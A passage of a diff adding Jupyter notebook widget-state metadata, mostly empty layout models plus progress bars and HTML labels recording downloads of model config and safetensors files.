+ }, + "c2ccf29c76d1461c8e820cdd1091684a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c30445a77e81411bbad4f90b8c54bc35": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c4995db7a62844b4a00daaf55847cabd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_080c7086e8684bb3bb857d23f426d5dd", + "max": 221326504, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_37e74a92120d40ab99b8a3efeb397bd8", + "value": 221326504 + } + }, + "c5f787d7f16542baa5a5657c3ecb14a0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c797a3a49d1d44598e8810817eac04f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c826a36c99ae462abccdc59266c404d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c87c0b939bbe4e56b46fca4aa580f75a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c883ad6804cd4f628494b1eb7f432e51": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c8ba37c669974bbea2face17223d2bb4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c8cabf1d8ffe421296725d8494ba0d3b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_59b6eeeaf9464da891bf214ef1bbb7c2", + "placeholder": "​", + "style": "IPY_MODEL_7d3baaa3ab784895a59534261f43ce7d", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + "c909bafccc65402fa93afea87f1b784e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_91f32130b9fc47ceaae99521c0b70015", + "placeholder": "​", + "style": "IPY_MODEL_e8bec5477f7c43c1a55c852ef8b7cb95", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "cabab037d12a455bbd283477e481d4ca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2b68707a9749479cab4b4ecd124d87cb", + "placeholder": "​", + "style": "IPY_MODEL_e7274e83d2c44080bbbb2fc5ec79dfee", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "cd437bc3e2194f1a8c5e83ec98745b58": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cd9c9d32567f4e5aa9291f66b08490bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ad07cccdd8d44a9ab5e3458e8d902ac6", + "placeholder": "​", + "style": "IPY_MODEL_ff88d9a5f7d64ad7bb0f09f6c71543f1", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "cdcf280e7a3043c2a1d59e0eea379d96": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ce0bc6a269b841e59b3c1b00796b8605": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ac71f4fe6e804f19b2529c82e5a42049", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_518150c24b25401d92cf483e5ecb0253", + "value": 75 + } + }, + "cf11071b7b114118a8b0b659167fa09e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_03bce4ac84fd40d485b023e21fe65c4f", + "IPY_MODEL_d0e9965e6aa4483da2dfa546b896e645", + "IPY_MODEL_22338ed9cec54338ad33267ed579603a" + ], + "layout": "IPY_MODEL_622d32a9bbda46fca3ee0733be303765" + } + }, + "d011d28093544ae692f90a7380908275": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d0716d01bfdf43ba88f8bbfd63d3285a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a9ab859e76814985877a4bacdb04e95a", + "placeholder": "​", + "style": "IPY_MODEL_1df97f1113c34b7eb89c7d1c6a81b3bd", + "value": " 587/587 [00:00<00:00, 12.9kB/s]" + } + }, + "d0e9965e6aa4483da2dfa546b896e645": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1237bd63fa814b57bbd9741296d71f46", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_5b3ca63a1af5452cb81fde6020fd9c53", + "value": 75 + } + }, + "d22523983b9a4c71a3057f3a281895ee": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d3165abbffbc4da3bd4f0cb6f3437140": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d3971f94fa5f433580509a27ce3ad017": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d4c5db5f7ffe42beb2065e14cbdd755d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bc9783a6d9d0437b881b01cad81c0173", + "placeholder": "​", + "style": "IPY_MODEL_9e5ef9fe15314ce3bf13e61994851485", + "value": "100%" + } + }, + "d612163ad6d24d91a6d7ee758d8d6367": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d62c5143fa1544ba9e2d22555dc6c3f9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d74c7ced9e5841e0a3635bf848912874": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d801dfb1d399475e995ca9106f9b3a4d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d8b3f3c7b8394b5580d8541f20c090ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_db833b8a924f43208063cdc7b74220f7", + "placeholder": "​", + "style": "IPY_MODEL_d74c7ced9e5841e0a3635bf848912874", + "value": "100%" + } + }, + "db833b8a924f43208063cdc7b74220f7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e04b95f508b7431c9f4ee9159e3b5b13": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e417a487b9ab44d68bf5d4155f4ff339": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c2ccf29c76d1461c8e820cdd1091684a", + "placeholder": "​", + "style": "IPY_MODEL_42248bb1fb38481eaa292dbca2d68e38", + "value": "100%" + } + }, + "e6942466051e4a6a97c36b56d8d4e0c2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e71abb2ba1b546ff9d7acd0c174f60d4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e7274e83d2c44080bbbb2fc5ec79dfee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e76b29381c114f808b3454fb122e8d10": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e85ceff770654ef1bd935f54ca32ee07": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d801dfb1d399475e995ca9106f9b3a4d", + "max": 587, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ed75698d0ffe4bcf886c72d276bbee17", + "value": 587 + } + }, + "e8bec5477f7c43c1a55c852ef8b7cb95": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e926a97d3f6149318dd6f01d17e90dd5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ea062db0a1ad43af805bf2d86d26d369": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + 